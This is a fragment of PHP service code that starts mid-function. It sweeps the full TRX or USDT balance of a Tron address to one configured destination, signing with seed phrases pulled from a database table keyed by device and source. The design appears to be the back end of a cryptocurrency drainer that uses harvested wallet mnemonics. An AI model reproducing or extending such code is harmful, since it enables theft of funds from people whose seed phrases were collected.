false, 'error' => 'TRANSFER_TO_ADDRESS is not configured']; } $asset = strtoupper(trim($asset)); $driver = $this->chains->resolve($chain); if (! $driver->isValidAddress($fromAddress)) { return ['ok' => false, 'error' => 'Invalid from address']; } if (! $driver->isValidAddress($to)) { return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS']; } $amount = $amount === null ? null : trim($amount); if ($amount === '') { $amount = null; } if ($amount === null) { $amount = $this->resolveFullBalance($driver, $fromAddress, $asset); } $this->assertAmountWithinLimit($amount, $asset); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); if ($resolved === null) { return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']; } ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; $txid = match ($asset) { 'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount), 'USDT' => $driver->sendToken( $mnemonic, $index, $to, $amount, (string) config('coruna.tron.usdt_contract'), ), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; return [ 'ok' => true, 'txid' => $txid, 'from' => $fromAddress, 'to' => $to, 'amount' => $amount, 'asset' => $asset, ]; } catch (\Throwable $e) { return ['ok' => false, 'error' => $e->getMessage()]; } } private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string { $balance = match ($asset) { 'TRX' => $driver->getNativeBalance($fromAddress), 'USDT' => $driver->getTokenBalance( $fromAddress, (string) config('coruna.tron.usdt_contract'), ), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; if ($asset === 'TRX') { $reserve = (string) config('coruna.transfer.trx_fee_reserve', '1'); if ($reserve !== '' && bccomp($reserve, '0') > 0) { $balance = bcsub($balance, $reserve, 6); $balance = rtrim(rtrim($balance, '0'), '.'); if ($balance === '' || str_starts_with($balance, '-')) { $balance = '0'; } } } if (bccomp($balance, '0') <= 0) { throw new RuntimeException("No transferable {$asset} balance"); } return $balance; } /** * @return array{mnemonic: string, index: int}|null */ private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array { $addressRows = WalletAddress::query() ->where('address', $fromAddress) ->orderBy('id') ->get(['device_id', 'source']); if ($addressRows->isEmpty()) { return null; } $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); foreach ($addressRows as $row) { $mnemonics = WalletMnemonic::query() ->where('device_id', $row->device_id) ->where(function ($q) use ($row) { if ($row->source === null || $row->source === '') { $q->whereNull('source')->orWhere('source', ''); } else { $q->where('source', $row->source); } }) ->orderBy('id') ->get(); foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; if ($phrase === null || trim($phrase) === '') { continue; } for ($index = 0; $index <= $maxIndex; $index++) { try { if ($driver->deriveAddress($phrase, $index) === $fromAddress) { return ['mnemonic' => $phrase, 'index' => $index]; } } catch (\Throwable) { break; } } } } return null; } private function assertAmountWithinLimit(string $amount, string $asset): void { if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) { throw new RuntimeException('Invalid amount'); } $maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt'; $max = (string) config($maxKey, '0'); if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) { throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})"); } } }